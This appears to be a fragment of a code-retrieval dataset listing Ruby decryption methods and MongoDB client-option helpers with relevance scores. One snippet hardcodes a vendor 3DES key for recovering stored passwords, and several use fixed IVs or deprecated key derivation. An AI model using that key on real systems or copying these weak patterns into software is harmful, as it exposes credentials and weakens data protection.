"def decrypt\n rotations_one = rotation_gen\n rotations = rotations_one.map do |rotation|\n rotation * (-1)\n end\n message.each_with_index do |char, i|\n letter = decrypt_letter(char, rotations[(i % 4)])\n decrypted_message << letter\n end\n decrypted_message.join(\"\")\n end",
"def decipher\r\n aes = OpenSSL::Cipher::AES.new(128, :CBC)\r\n aes.decrypt\r\n aes.key = key\r\n aes.iv = iv\r\n return aes\r\n end",
"def decrypt(value)\n Crypt::ExplicitDecryptionContext.new(\n @crypt_handle,\n @encryption_io,\n { v: value }\n ).run_state_machine['v']\n end",
"def decrypt\n unless @encrypted_data.blank?\n plaintext_data\n end\n end",
"def decrypt(ciphertext, passwd, options = {})\n iv_and_ciphertext = Base64.decode64(ciphertext)\n cipher = new_cipher(:decrypt, passwd, options)\n cipher.iv, ciphertext = iv_and_ciphertext(cipher, iv_and_ciphertext)\n plaintext = cipher.update(ciphertext)\n plaintext << cipher.final\n plaintext\n end",
"def decrypt(ciphertext)\n @cipher.decrypt(@secret_key, ciphertext)\n end",
"def decrypt(msg)\n msg_buf = FFI::MemoryPointer.from_data(msg)\n Botan.call_ffi_with_buffer(lambda { |b, bl|\n LibBotan.botan_pk_op_decrypt(@ptr, b, bl, msg_buf, msg_buf.size)\n })\n end",
"def aes_decrypt(key, crypt_string)\n cipher = OpenSSL::Cipher::Cipher.new(ssl_cipher)\n\n cipher.decrypt\n cipher.key = key\n cipher.pkcs5_keyivgen(key)\n decrypted_data = cipher.update(crypt_string) + cipher.final\n end",
"def decrypt(data)\n data = remove_noise(data)\n # The first 32 bytes of the data is the original IV\n iv = data[0..31]\n cipher = FirebugMcrypt.new(:rijndael_256, :cbc, @key, iv, :zeros)\n cipher.decrypt(data[32..-1])\n end",
"def decrypt(password = nil, salt = nil)\n Hoodie::Crypto.decrypt(self, password, salt)\n end",
"def decrypt( encrypt)\n @shift = @shift * -1\n encrypt( encrypt)\n end",
"def decrypt(data)\n cipher = OpenSSL::Cipher::Cipher.new(\"aes-256-cbc\")\n cipher.decrypt\n cipher.key = @passphrase\n cipher.iv = @iv\n decrypted = cipher.update(data)\n decrypted << cipher.final\n json = JSON.parse(decrypted)\n self.identifier = json['identifier']\n @expiry = Time.parse(json['expiry'])\n rescue OpenSSL::Cipher::CipherError => e\n raise Kennedy::BadTicketException, \"Given data was not decryptable\"\n end",
"def aes_decrypt(key, crypt_string)\n cipher = OpenSSL::Cipher.new(ssl_cipher)\n\n cipher.decrypt\n cipher.key = key\n cipher.pkcs5_keyivgen(key)\n cipher.update(crypt_string) + cipher.final\n end",
"def decrypt( string, pass, salt)\n key, iv = derive_key_iv( pass, salt)\n \n decipher = OpenSSL::Cipher::AES.new(256, :CBC)\n decipher.decrypt\n decipher.key = key\n decipher.iv = iv\n\n decipher.update( string) + decipher.final\n end",
"def decrypt(enc)\n\n des = OpenSSL::Cipher::Cipher.new('DES-EDE3-CBC')\n des.decrypt\n des.key = \"7304912f3d62b5efcd837373bf6b7ff4f1f438b6b67008ef\".unhex\n des.iv = \"0a0a0a0a0a0a0a0a\".unhex\n des.padding = 0\n\n # libCARSReposMgr.so 3DES padding handling is wrong...\n # we try to mimick the behavior here.\n enc += \"00\" * ( 8 - ( (enc.length / 2) & 7 ) )\n\n decrypted_passwd = des.update(enc.unhex) + des.final\n decrypted_passwd.gsub(/\\x00.*/, '')\n\n end",
"def decipher(key, user_iv, text)\n ssl_decipher = OpenSSL::Cipher.new('AES-256-CBC')\n ssl_decipher.decrypt\n ssl_decipher.key = key\n ssl_decipher.iv = user_iv\n ssl_decipher.update(text) + ssl_decipher.final\n end",
"def decrypt!(data, options = {})\n unless options.has_key?(:secret)\n options[:secret] = PreciousCargo::Secret.decrypt!(options)\n end\n\n PreciousCargo::Data.decrypt!(data, options)\n end",
"def decrypt!(encrypted_data, options = {})\n secret = options[:secret]\n cipher = Gibberish::AES.new(secret)\n cipher.decrypt(encrypted_data).strip\n end",
"def decrypt_or_encrypt(operation,password)\n\tif operation == 'encrypt'\n\t\tencrypt(password) # the secret agent would like to encrypt so we call the encryption method \n\t\t\telsif operation == 'decrypt'\n\t\t\t\tdecrypt(password) # the secret agent would like to decrypt so we call the decryption method \n\t\t\telse \n\tend\nend",
"def decrypt(cipherText, key)\n shiftText(cipherText, key * (- 1))\n end",
"def maybe_decrypt(context)\n # TODO determine if we should be decrypting data coming from pre-4.2\n # servers, potentially using legacy wire protocols. If so we need\n # to implement decryption for those wire protocols as our current\n # encryption/decryption code is OP_MSG-specific.\n self\n end",
"def decrypt_password(crypted=false, key=encryption_key, encryption_mehtod=self.auth_method)\n self.class.decrypt(crypted||self.send(props[:crypted_password]), key, encryption_mehtod)\n end",
"def decrypt(txt)\n x = -1\n return txt.unpack('U*').pack('S*').unpack(\"U*\").collect do |i| \n x += 1\n x %= CRYPT.size\n i - CRYPT[x].unpack('U').first > 0 ? i - CRYPT[x].unpack('U').first : i\n end.pack('U*')\n end",
"def decrypt(value,key,context)\n plaintext = @vault.logical.write(\"transit/decrypt/#{key}\", ciphertext: value, context: Base64.encode64(context).gsub('\\n',''))\n return Base64.decode64(plaintext.data[:plaintext]).gsub('\\n','')\n end",
"def decrypt(text64, iv)\n if @cipher\n cipher = OpenSSL::Cipher::Cipher.new(\"aes-#{@cipher}-cbc\")\n cipher.decrypt\n cipher.key = @secret[0..cipher_block_size]\n if iv != \"\"\n cipher.iv = Base64.decode64(iv)\n end\n decrypted_text = cipher.update(Base64.decode64(text64))\n decrypted_text << cipher.final\n return decrypted_text\n else\n return text64\n end\n end",
"def private_decrypt(ciphertext)\n @private_key.private_decrypt(ciphertext)\n end",
"def ez_decrypt(worker = :default)\n _ez_decrypt(self, worker)\n end",
"def decrypt encrypted_data, key, iv, cipher_type\n aes = OpenSSL::Cipher::Cipher.new cipher_type\n aes.decrypt\n aes.key = key\n aes.iv = iv if iv != nil\n aes.update(encrypted_data) + aes.final \n end",
"def read\n r = super\n lockbox_notify(\"decrypt_file\") { lockbox.decrypt(r) } if r\n end",
"def read\n r = super\n lockbox_notify(\"decrypt_file\") { lockbox.decrypt(r) } if r\n end",
"def decrypt(data, passphrase)\n cipher = OpenSSL::Cipher::Cipher.new(\"aes-256-cbc\")\n cipher.decrypt\n\n cipher.key = Digest::SHA256.digest(passphrase)\n cipher.iv = obtain_iv(passphrase)\n\n decrypted = cipher.update(data)\n decrypted << cipher.final\n\n rsize = decrypted[0]\n return decrypted[rsize + 1..-1]\n rescue\n return nil\n end",
"def decrypt(encrypted_text, password = nil, salt = nil)\n password = password.nil? ? Hoodie.crypto.password : password\n salt = salt.nil? ? Hoodie.crypto.salt : salt\n\n iv_ciphertext = Base64.decode64(encrypted_text)\n cipher = new_cipher(:decrypt, password, salt)\n cipher.iv, ciphertext = separate_iv_ciphertext(cipher, iv_ciphertext)\n plain_text = cipher.update(ciphertext)\n plain_text << cipher.final\n plain_text\n end",
"def decode!(passphrase)\n JSON(decrypt(passphrase)).each do |k,v|\n self.send(\"#{k}=\", v)\n end\n end",
"def decrypt(data, padding: nil)\n dec = Botan::PK::Decrypt.new(key: self, padding: padding)\n dec.decrypt(data)\n end",
"def decrypt_to(filename)\n self.opts.merge!({output: filename})\n decrypt\n end",
"def decrypt(text)\n @private_key.private_decrypt(Base64.decode64(text)) if text\n end",
"def decrypt(text)\n @private_key.private_decrypt(Base64.decode64(text)) if text\n end",
"def decrypt(data, key, options = {})\n raise KeyError.new(\"Please provide a secret key to decrypt data with.\") unless key\n options = settings[:crypt].merge(options)\n decoded_data = decode(data, options)\n decrypted_data = crypt(:decrypt, decoded_data, key, options)\n return data unless decrypted_data\n begin\n JSON.parse(decrypted_data)\n rescue JSON::ParserError\n decrypted_data\n end\n end",
"def decrypt(bin64, iv64)\n aes = OpenSSL::Cipher::Cipher.new($alg)\n aes.decrypt\n aes.key = $key\n aes.iv = Base64.urlsafe_decode64(iv64)\n aes.update(Base64.urlsafe_decode64(bin64)) + aes.final\nend",
"def decrypt(ciphertext, table, key)\n plaintext = ''\n key.upcase!\n\n ciphertext.tr('?', '').split('').each_with_index do |char, char_idx|\n table[char_idx % key.length + 1].each_with_index do |letter, letter_idx|\n plaintext << table.first[letter_idx] if letter == char\n end\n end\n\n plaintext\n end",
"def decrypt(data)\n\tarray = splitdencrypt(data)\n\tdecryptedBlock = ''\n\tfor i in 0...array.length\n\t val = array[i]\n\t decryptedBlock << @blowfish.decrypt_block([val].pack('H*'))\n\tend\n\treturn decryptedBlock\n end",
"def decrypt(encrypted_data, key, iv, cipher_type)\n aes = OpenSSL::Cipher::Cipher.new(cipher_type)\n aes.decrypt\n aes.key = key\n aes.iv = iv if iv != nil\n aes.update(encrypted_data) + aes.final\n end",
"def decrypt(value)\n encryptor.decrypt_and_verify(value)\n end",
"def lookup(encrypted_string)\n crypted_iv, crypted_value = encrypted_string.split('|')\n fail ArgumentError, 'invalid value for decryption' unless crypted_iv && crypted_value\n iv = Base64.decode64(crypted_iv)\n value = Base64.decode64(crypted_value)\n @cipher.iv = iv\n @cipher.update(value) + @cipher.final\n end",
"def decrypt!(cipher, options={})\n opt = { salt: '', parse: true }.merge!(options)\n\n set_crypto cipher, opt[:intmode]\n iv = compute_iv_for_decrypting(force_binary(opt[:salt]), self[:content])\n\n if authenticated?\n if @icv_length.zero?\n @icv_length = opt[:icv_length].to_i if opt[:icv_length]\n raise PacketGen::ParseError, 'unknown ICV size' if @icv_length.zero?\n end\n icv = self[:content].slice!(-@icv_length, @icv_length)\n end\n\n authenticate_if_needed iv, icv\n private_decrypt opt\n end",
"def decryptHex\r\n\t \r\n\t \tif @IV.empty?\r\n\t\t\t_iv = OpenSSL::Cipher::Cipher.new(\"aes-#{ @cipher }-#{ @mode }\").random_iv\r\n\t\telse\r\n\t\t\t_iv= @IV\r\n\t\tend\r\n\t\t\r\n\t\tEncryptor.default_options.merge!(:algorithm => \"aes-#{ @cipher }-#{ @mode }\", :key => @key, :iv => _iv)\r\n\t\t_ret = \"\"\r\n\t\t([email protected]()/2).each{|index| _ret += [@data[index*2, 2]].pack(\"H2\")}\t\t\r\n\t\t_rt = Encryptor.decrypt(_ret)\r\n\t\t\t\r\n\t\treturn _rt\r\n\t\t\r\n\t end",
"def decrypt(sentence, combination)\n encrypt(sentence, combination)\nend",
"def decrypt(keys, cypher)\n keys.each do |key|\n verifier = ::Fernet.verifier(key, cypher, enforce_ttl: false)\n next unless verifier.valid?\n return verifier.message\n end\n cypher # Return cypher has it's probably just plain text\n end",
"def decrypt(string)\n require_key\n\n @private_key.private_decrypt(Base64.decode64(string))\n end",
"def decrypt(ciphertext, key)\n plaintext = []\n i = 0\n ciphertext.each_byte do |c|\n p = c ^ key[i % 3][0]\n i += 1\n plaintext << p.chr\n end\n return plaintext.join\nend",
"def decrypt_next_byte(column)\n solution = MatasanoLib::XOR.brute(column, 'ETAOIN SHRDLU,.')\n solution[:key]\nend",
"def decrypt data, key, salt, iter, iv, key_length = 32\n decipher = OpenSSL::Cipher.new \"AES-256-CBC\"\n decipher.decrypt\n decipher.key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(key, salt, iter, key_length)\n decipher.iv = iv\n decipher.update(data) + decipher.final\n end",
"def decrypt(value)\n return unless value\n fail ArgumentError, 'Value is not encrypted' unless value.match(REGEXP)\n @key.private_decrypt(Base64.strict_decode64(Regexp.last_match(:value)))\n end",
"def decrypt_string(ciphertext, auth_tag, key, iv, auth_data = '')\n cipher = OpenSSL::Cipher.new(CIPHER_TYPE)\n cipher.decrypt\n cipher.key = key\n cipher.iv = iv[0, IV_LENGTH]\n\n cipher.auth_tag = auth_tag\n cipher.auth_data = auth_data\n\n cipher.update(ciphertext) + cipher.final\n end",
"def unlock(str)\n str = str.unpack('m0').first\n aes = cipher.decrypt\n aes.key = @key.size > 32 ? @key[0..31] : @key\n iv = str[0, aes.iv_len]\n aes.iv = iv\n crypted_text = str[aes.iv_len..-1]\n return nil if crypted_text.nil? || iv.nil?\n aes.update(crypted_text) << aes.final\n rescue\n nil\n end",
"def set_decrypt_messages\n @rsa = Rsa.find(params[:rsa_id])\n end",
"def set_decrypt_messages\n @rsa = Rsa.find(params[:rsa_id])\n end",
"def decrypt\n decryptedValue = \"\"\n shift = @seqNumber % 26\n ([email protected] - 1).each do |idx|\n if @value[idx] == \"-\"\n decryptedValue = decryptedValue + \" \"\n else\n decryptedValue = decryptedValue + nextLetter(@value[idx], shift)\n end\n end\n return decryptedValue\n end",
"def decrypt(data, key = nil, iv = nil)\n key ||= @request[:secret]\n iv ||= @request[:iv]\n\n @cipher.decrypt\n @cipher.key = key\n @cipher.iv = iv\n\n @cipher.update(data)\n end",
"def base_decrypt(ciphertext)\n RbNaCl::SimpleBox\n .from_secret_key(key)\n .decrypt(ciphertext)\n .force_encoding(Encoding::UTF_8)\n end",
"def build_cipher(args={})\n cipher = OpenSSL::Cipher.new('AES-256-CBC')\n args[:decrypt] ? cipher.decrypt : cipher.encrypt\n iv = args[:iv]\n until(iv.length > 65)\n iv = iv * 2\n end\n key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(\n args[:key], CRYPT_SALT, CRYPT_ITER, CRYPT_KEY_LENGTH\n )\n cipher.iv = iv\n cipher.key = key\n cipher\n end",
"def decrypt_byte\n temp = (@key2 | 2) & 0x0000ffff\n ((temp * (temp ^ 1)) >> 8) & 0x000000ff\n end",
"def decrypted_secret_key\n @decrypted_secret_key ||= get_decrypted_secret_key_from_memcache.data[:plaintext]\n end",
"def can_decrypt?\n false\n end",
"def decrypt(encrypted_string)\n CRYPTO.decrypt_string(encrypted_string.decode64)\nend",
"def decrypt(str)\n str = str.unpack('m0').first\n aes = OpenSSL::Cipher::Cipher.new('aes-128-cbc').decrypt\n aes.key = @secret\n iv = str[0, aes.iv_len]\n aes.iv = iv\n crypted_text = str[aes.iv_len..-1]\n return nil if crypted_text.nil? || iv.nil?\n aes.update(crypted_text) << aes.final\n rescue\n nil\n end",
"def current_decrypted\n @current_decrypted ||= if current_resource.secret\n decrypt(current_resource.raw_data || { \"id\" => new_resource.id }, current_resource.secret)\n elsif current_resource.encrypt\n raise \"Could not decrypt current data bag item #{current_resource.name}\"\n else\n current_resource.raw_data || { \"id\" => new_resource.id }\n end\n end",
"def read_attribute(attr)\n if attribute_encrypted?(attr)\n conductor_for(attr).decrypt\n else\n super(attr)\n end\n end",
"def decrypt(ciphertext_blob)\n begin\n plaintext = client.decrypt_and_verify(ciphertext_blob)\n\n success_with_data(\n plaintext: plaintext\n )\n rescue Exception => e\n error_with_data('lc_2',\n \"LocalCipher could not decrypt cipher with message => #{e.message}\",\n 'Something Went Wrong.',\n GlobalConstant::ErrorAction.default,\n {})\n end\n end",
"def decrypt(encrypted)\n return nil unless encrypted =~ /Validation: (.*?)\\n(.*)\\n\\*\\*\\*/m\n begin\n decipher = OpenSSL::Cipher.new(\"AES-128-CBC\")\n decipher.decrypt\n # puts \"**** $1=#{$1}, $2=#{$2}\"\n decipher.key = EMAIL_KEY\n decipher.iv = Base64.decode64($1)\n encrypted_data = Base64.decode64($2)\n # puts \"**** decipher.iv=#{Base64.encode64 iv}\"\n # puts \"**** encrypted=#{Base64.encode64 encrypted}\"\n return decipher.update(encrypted_data) + decipher.final \n rescue\n return nil\n end \n end"
] | [
"0.70671755",
"0.7050485",
"0.70232534",
"0.67031235",
"0.6650498",
"0.6612653",
"0.65028214",
"0.64477664",
"0.6366756",
"0.6272213",
"0.6272213",
"0.62553835",
"0.6249811",
"0.6211801",
"0.6195287",
"0.61527413",
"0.61485916",
"0.6138624",
"0.6138233",
"0.6115414",
"0.604903",
"0.60439867",
"0.6035447",
"0.6023818",
"0.5989152",
"0.5959715",
"0.59431195",
"0.5914874",
"0.5893058",
"0.5882335",
"0.5882143",
"0.58673775",
"0.58593976",
"0.5851582",
"0.5833615",
"0.5824372",
"0.581405",
"0.5813126",
"0.5802172",
"0.5778348",
"0.5772302",
"0.57633454",
"0.5761194",
"0.5760694",
"0.5757412",
"0.5744421",
"0.5743736",
"0.57312644",
"0.5724523",
"0.5716647",
"0.5706605",
"0.57007957",
"0.57005423",
"0.56932026",
"0.5692142",
"0.5681224",
"0.5680773",
"0.5663652",
"0.5663652",
"0.5654912",
"0.56483006",
"0.56419843",
"0.5634932",
"0.56228966",
"0.56055576",
"0.56055576",
"0.56049365",
"0.5601286",
"0.55978507",
"0.5572882",
"0.55599225",
"0.55552715",
"0.5549084",
"0.55453694",
"0.5528722",
"0.5520719",
"0.55204463",
"0.5512111",
"0.5506864",
"0.5502385",
"0.54997593",
"0.54908687",
"0.54877186",
"0.5486464",
"0.5479069",
"0.5479069",
"0.5473562",
"0.5471495",
"0.5470771",
"0.54603887",
"0.5453021",
"0.54524297",
"0.54476357",
"0.5434728",
"0.5422105",
"0.5410953",
"0.5407506",
"0.5399391",
"0.53932774"
] | 0.7510134 | 1 |
Close the resources created by the AutoEncrypter. | def close
@mongocryptd_client.close if @mongocryptd_client
if @key_vault_client && @key_vault_client != options[:client] &&
@key_vault_client.cluster != options[:client].cluster
then
@key_vault_client.close
end
if @metadata_client && @metadata_client != options[:client] &&
@metadata_client.cluster != options[:client].cluster
then
@metadata_client.close
end
true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def close_encrypter\n @encrypter.close if @encrypter\n\n true\n end",
"def do_close\n @cluster.close\n close_encrypter\n end",
"def teardown_encrypter\n @mongocryptd_client.close if @mongocryptd_client\n\n @mongocryptd_client = nil\n @key_vault_client = nil\n @encryption_options = nil\n\n true\n end",
"def close\n @@lock.synchronize do\n _close_resources\n @@instances.delete(@_sdk_key)\n end\n end",
"def close\n close_cert_store\n remove_finalizer\n end",
"def close!\n safe_close\n end",
"def close\n close!\n end",
"def close\n\n # nothing to do here.\n end",
"def close\n close_filehandles\n close_keydir\n end",
"def close\n CoreServices::asl_close_output_file(@context, @dest.to_i) if @dest\n CoreServices::asl_finalize_context(@context)\n @context = nil\n end",
"def close\n\t\t\tKernel.exit 0\n\t\tend",
"def close\n ensure_session!\n\n session.release!\n end",
"def close() end",
"def close() end",
"def close() end",
"def close() end",
"def close() end",
"def finalize()\n @ssl_client.close\n end",
"def close_and_cleanup\n\t\t\tself.close\n\t\t\[email protected]\n\t\tend",
"def close\n end",
"def close\n end",
"def close!\n inst, @czk = @czk, nil\n inst && inst.close\n end",
"def finalize\n close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def close; end",
"def closing; end",
"def closing; end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def close\n @lock.synchronize do\n return if @closed\n\n begin\n @wakeup.close\n rescue IOError\n end\n\n begin\n @waker.close\n rescue IOError\n end\n\n @closed = true\n end\n end",
"def dispose\n\n end",
"def close\n\t io.each { |file| file.close }\n\tend",
"def close\n # don't need to close\n end",
"def dispose; end",
"def close!\n end",
"def close\n\t\t\tcleanup_abstraction\n\t\tend",
"def close!\n _close\n @clean_proc.call\n ObjectSpace.undefine_finalizer(self)\n end",
"def close!\n # Not implemented\n end",
"def close\n end",
"def close\n end",
"def close\n end",
"def Close\n end",
"def close\n @io.close\n @tar.close\n end",
"def dispose\n nil\n end",
"def close\n close_client_connections\n @event_file.close\n end",
"def _close\n end",
"def close\n self\n end",
"def close\n Nvmkv.kv_close(@kv_id)\n f= IO.open(@file_fd).close\n end",
"def close\n @h.close\n end",
"def close!\n close(true)\n end",
"def close\n # ..\n end",
"def close\n flush\n end",
"def close\n flush\n end",
"def close\n @closed = true\n end",
"def close()\n @closed = true\n end",
"def close\n # this method may be left unimplemented if that is applicable\n end",
"def close()\n #This is a stub, used for indexing\n end",
"def close\n self.disconnect\n end",
"def close\n # this method may be left unimplemented if that is applicable\n end",
"def finalize()\n # below function is not yet fully functional\n unlock_all_instances()\n end",
"def close\n sync\n\n @data_file.close\n\n write_hint_files\n\n File.delete @lockfile\n end"
] | [
"0.72839427",
"0.68573195",
"0.6475421",
"0.646025",
"0.6417164",
"0.63786757",
"0.6285984",
"0.6269304",
"0.62656224",
"0.62334967",
"0.62309414",
"0.620402",
"0.617031",
"0.617031",
"0.617031",
"0.617031",
"0.6168976",
"0.6155234",
"0.61266077",
"0.6089896",
"0.6089896",
"0.6066856",
"0.6049674",
"0.604804",
"0.604804",
"0.604804",
"0.604804",
"0.604804",
"0.604804",
"0.604804",
"0.604804",
"0.604804",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.6036692",
"0.5977351",
"0.5977351",
"0.59771246",
"0.59771246",
"0.59771246",
"0.59771246",
"0.59771246",
"0.59771246",
"0.59771246",
"0.59771246",
"0.59771246",
"0.596646",
"0.59625554",
"0.59496564",
"0.59493643",
"0.5947768",
"0.59297246",
"0.5922319",
"0.5921821",
"0.59205854",
"0.58814496",
"0.58814496",
"0.58814496",
"0.5869402",
"0.5860089",
"0.585652",
"0.5855318",
"0.5853838",
"0.5842938",
"0.5828882",
"0.5819412",
"0.5815509",
"0.5813051",
"0.58062303",
"0.58062303",
"0.578955",
"0.5778316",
"0.5767776",
"0.57659394",
"0.5765517",
"0.57645273",
"0.5747033",
"0.5707778"
] | 0.0 | -1 |
Returns a new set of options with the following changes: sets default values for all extra_options adds idleShtudownTimeoutSecs=60 to extra_options[:mongocryptd_spawn_args] if not already present sets bypass_auto_encryption to false sets default key vault client | def set_default_options(options)
opts = options.dup
extra_options = opts.delete(:extra_options) || Options::Redacted.new
extra_options = DEFAULT_EXTRA_OPTIONS.merge(extra_options)
has_timeout_string_arg = extra_options[:mongocryptd_spawn_args].any? do |elem|
elem.is_a?(String) && elem.match(/\A--idleShutdownTimeoutSecs=\d+\z/)
end
timeout_int_arg_idx = extra_options[:mongocryptd_spawn_args].index('--idleShutdownTimeoutSecs')
has_timeout_int_arg = timeout_int_arg_idx && extra_options[:mongocryptd_spawn_args][timeout_int_arg_idx + 1].is_a?(Integer)
unless has_timeout_string_arg || has_timeout_int_arg
extra_options[:mongocryptd_spawn_args] << '--idleShutdownTimeoutSecs=60'
end
opts[:bypass_auto_encryption] ||= false
set_or_create_clients(opts)
opts[:key_vault_client] = @key_vault_client
Options::Redacted.new(opts).merge(extra_options: extra_options)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_default_options(options)\n opts = options.dup\n\n extra_options = opts.delete(:extra_options)\n extra_options = DEFAULT_EXTRA_OPTIONS.merge(extra_options)\n\n has_timeout_string_arg = extra_options[:mongocryptd_spawn_args].any? do |elem|\n elem.is_a?(String) && elem.match(/\\A--idleShutdownTimeoutSecs=\\d+\\z/)\n end\n\n timeout_int_arg_idx = extra_options[:mongocryptd_spawn_args].index('--idleShutdownTimeoutSecs')\n has_timeout_int_arg = timeout_int_arg_idx && extra_options[:mongocryptd_spawn_args][timeout_int_arg_idx + 1].is_a?(Integer)\n\n unless has_timeout_string_arg || has_timeout_int_arg\n extra_options[:mongocryptd_spawn_args] << '--idleShutdownTimeoutSecs=60'\n end\n\n opts[:bypass_auto_encryption] ||= false\n\n opts.merge(extra_options)\n end",
"def options(opts)\n options = opts.dup\n options[:platform] = PLATFORM_DETAILS\n options[:app_name] = Mongoid::Config.app_name if Mongoid::Config.app_name\n if (driver_version <=> [2, 13]) >= 0\n wrap_lib = if options[:wrapping_libraries]\n [MONGOID_WRAPPING_LIBRARY] + options[:wrapping_libraries]\n else\n [MONGOID_WRAPPING_LIBRARY]\n end\n options[:wrapping_libraries] = wrap_lib\n end\n options.reject{ |k, _v| k == :hosts }.to_hash.symbolize_keys!\n end",
"def runtime_options\n DEFAULT_OPTIONS.merge(symbolize_keys(options))\n end",
"def engine_options(additional_options = {})\n opts = options.dup.merge(additional_options)\n opts[:load_paths] = load_paths(opts)\n opts\n end",
"def cli_options(new_options = {})\n @cli_options ||= {}\n return @cli_options.merge!(new_options)\n end",
"def add_options(options = {}, raw_options = nil)\n @options.merge!(options.stringify_keys) unless options.blank?\n @raw_options << raw_options unless raw_options.blank?\n end",
"def build_auto_encryption_options(opts, database)\n return nil unless opts[:auto_encryption_options]\n\n opts[:auto_encryption_options].dup.tap do |auto_encryption_options|\n if auto_encryption_options.key?(:schema_map)\n default_logger.warn(\n 'The :schema_map is configured in the :auto_encryption_options for the client;' +\n ' encryption setting in Mongoid documents will be ignored.'\n )\n else\n auto_encryption_options[:schema_map] = Mongoid.config.encryption_schema_map(database)\n end\n if auto_encryption_options.key?(:key_vault_client)\n auto_encryption_options[:key_vault_client] = Mongoid.client(\n auto_encryption_options[:key_vault_client]\n )\n end\n end\n end",
"def ssh_options\n process_keys\n options = base_options\n\n config.port.nil? or options.merge!(:port => config.port)\n config.password.nil? or options.merge!(:password => config.password)\n config.keys.nil? or options.merge!(:keys => config.keys)\n\n config.ui.logger.debug { \"ssh_options(#{options.inspect})\" }\n options\n end",
"def extras(extras)\n clone.tap do |crit|\n crit.options.merge!(extras)\n end\n end",
"def update_options(new_options)\n old_options = @options\n\n new_options = self.class.canonicalize_ruby_options(new_options || {})\n\n validate_new_options!(new_options).tap do |opts|\n # Our options are frozen\n options = @options.dup\n if options[:write] && opts[:write_concern]\n options.delete(:write)\n end\n if options[:write_concern] && opts[:write]\n options.delete(:write_concern)\n end\n\n options.update(opts)\n @options = options.freeze\n\n auto_encryption_options_changed =\n @options[:auto_encryption_options] != old_options[:auto_encryption_options]\n\n # If there are new auto_encryption_options, create a new encrypter.\n # Otherwise, allow the new client to share an encrypter with the\n # original client.\n #\n # If auto_encryption_options are nil, set @encrypter to nil, but do not\n # close the encrypter because it may still be used by the original client.\n if @options[:auto_encryption_options] && auto_encryption_options_changed\n @connect_lock.synchronize do\n build_encrypter\n end\n elsif @options[:auto_encryption_options].nil?\n @connect_lock.synchronize do\n @encrypter = nil\n end\n end\n\n validate_options!\n validate_authentication_options!\n end\n end",
"def options\n options = super\n\n options.merge(login: preferred_secret_key)\n end",
"def client_options\n opts = uri_options.tap do |opts|\n opts[:database] = @database if @database\n end\n\n @user ? opts.merge(credentials) : opts\n end",
"def user_options(options)\n merged_options = options.dup\n merged_options[:cpu_cores] = get_option(:cores_per_socket)\n merged_options[:memory] = get_option(:vm_memory)\n merged_options.compact\n end",
"def initialize\n @options = {}\n @options[:extra] = true\n end",
"def options\n opts = super\n opts[:overwrite_original] = true if @overwrite_original\n opts\n end",
"def options\n opts = super\n opts[:overwrite_original] = true if @overwrite_original\n opts\n end",
"def options\n opts = {}\n VALID_CONFIG_KEYS.each_key do |k|\n opts.merge!(k => send(k))\n end\n opts\n end",
"def options\n [\n [ '--ec2-user-id', '-u', GetoptLong::REQUIRED_ARGUMENT],\n [ '--aws-access-key-id', '-a', GetoptLong::REQUIRED_ARGUMENT],\n [ '--aws-secret-access-key', '-s', GetoptLong::REQUIRED_ARGUMENT],\n [ '--snapshot', GetoptLong::NO_ARGUMENT],\n [ '--restore-most-recent', '--start-most-recent', GetoptLong::NO_ARGUMENT],\n [ '--host-role', '-r', GetoptLong::REQUIRED_ARGUMENT],\n [ '--volume-size', GetoptLong::OPTIONAL_ARGUMENT],\n [ '--tell', GetoptLong::NO_ARGUMENT],\n [ '--debug', GetoptLong::NO_ARGUMENT]\n ]\n end",
"def default_options(options)\n Database::DEFAULT_OPTIONS.dup.tap do |default_options|\n if options[:auth_mech] || options[:user]\n default_options[:auth_source] = Auth::User.default_auth_source(options)\n end\n\n if options[:auth_mech] == :gssapi\n default_options[:auth_mech_properties] = { service_name: 'mongodb' }\n end\n\n default_options[:retry_reads] = true\n default_options[:retry_writes] = true\n end\n end",
"def command_compiler_options\n command_options.merge(use: command_plugins.keys, plugins_options: command_plugins)\n end",
"def options\n opts = {}\n VALID_CONFIG_KEYS.each_key do |k|\n opts.merge!(k => send(k))\n end\n opts\n end",
"def options\n opts = {}\n VALID_CONFIG_KEYS.each_key do |k|\n opts.merge!(k => send(k))\n end\n opts\n end",
"def cockroach_cli_options(config)\n opts = \"\"\n if config['requiressl'] == 'disable'\n opts += \"--insecure \"\n end\n return opts\nend",
"def options\n return @_options if defined?(@_options)\n\n original_options = super\n @_options = Thor::CoreExt::HashWithIndifferentAccess.new(\n configuration_options.merge(original_options)\n )\n end",
"def options\n OPTIONS_KEYS.inject({}) do |options, key|\n options.merge!(key => send(key))\n end\n end",
"def backend_options\n raw_options = @options.dup\n\n raw_options[:address] = raw_options[:endpoint]\n raw_options.delete(:endpoing)\n\n # Removing Safekeeper-specific options\n %i{engine engine_type prefix}.each { |option| raw_options.delete(option) }\n\n raw_options\n end",
"def reverse_add_options(options = {}, raw_options = nil)\n @options.reverse_merge!(options.stringify_keys) unless options.blank?\n @raw_options << raw_options unless raw_options.blank?\n end",
